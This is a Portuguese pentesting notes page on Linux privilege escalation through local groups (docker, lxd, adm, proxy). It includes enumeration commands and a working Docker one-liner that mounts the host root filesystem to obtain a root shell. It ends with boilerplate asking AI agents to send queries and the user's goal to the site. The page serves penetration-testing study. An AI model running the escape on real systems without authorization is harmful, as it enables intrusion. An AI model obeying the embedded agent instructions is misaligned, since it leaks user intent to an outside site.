> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/user-groups.md).

# Grupos de usuários

Anotações sobre escalação de privilégios por grupos locais do Linux para docker, lxd, adm, proxy, logs, regras de host e abuso de contêiner.

Associações a grupos locais perigosos podem expor recursos privilegiados sem exigir um exploit do kernel. Grupos como docker, lxd, adm ou proxy podem conceder controle do host, acesso a logs sensíveis ou caminhos de configuração úteis para movimentação lateral e escalada para root.

## Metodologia

* Execute `id` e `groups` para identificar associações locais privilegiadas.
* Associe cada grupo ao recurso que ele expõe, como sockets do Docker, contêineres LXD, logs ou configuração de proxy.
* Explore apenas o caminho de grupo confirmado e mantenha a saída do comando para o relatório.

## Verificações rápidas

```bash
id
groups
```

## Caminho Rápido do Grupo Docker

A associação ao `docker` grupo geralmente concede controle equivalente ao root sobre o host, porque contêineres podem montar o sistema de arquivos do host.

```bash
id
docker run -it --rm -v /:/mnt alpine chroot /mnt sh
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>Abuso do Grupo Docker</h4></td><td>Anotações do Grupo de Usuários (Docker) para escalada de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada para relatórios.</td><td><a href="/pt-br/privesc/user-groups/docker-group-linux-privilege-escalation.md">Abuso do grupo docker - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>Acesso aos Logs do Grupo adm</h4></td><td>Anotações do Grupo de Usuários (adm) para escalada de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada para relatórios.</td><td><a href="/pt-br/privesc/user-groups/adm-group-linux-privilege-escalation.md">Acesso a logs do grupo adm - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>Abuso do Grupo LXD</h4></td><td>Anotações do Grupo de Usuários (lxd) para escalada de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada para relatórios.</td><td><a href="/pt-br/privesc/user-groups/lxd-group-linux-privilege-escalation.md">Abuso do grupo lxd - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>Abuso do Grupo Proxy</h4></td><td>Anotações do Grupo de Usuários (proxy) para escalada de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada para relatórios.</td><td><a href="/pt-br/privesc/user-groups/proxy-group-linux-privilege-escalation.md">Abuso do grupo proxy - Escalação de privilégios no Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/user-groups.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
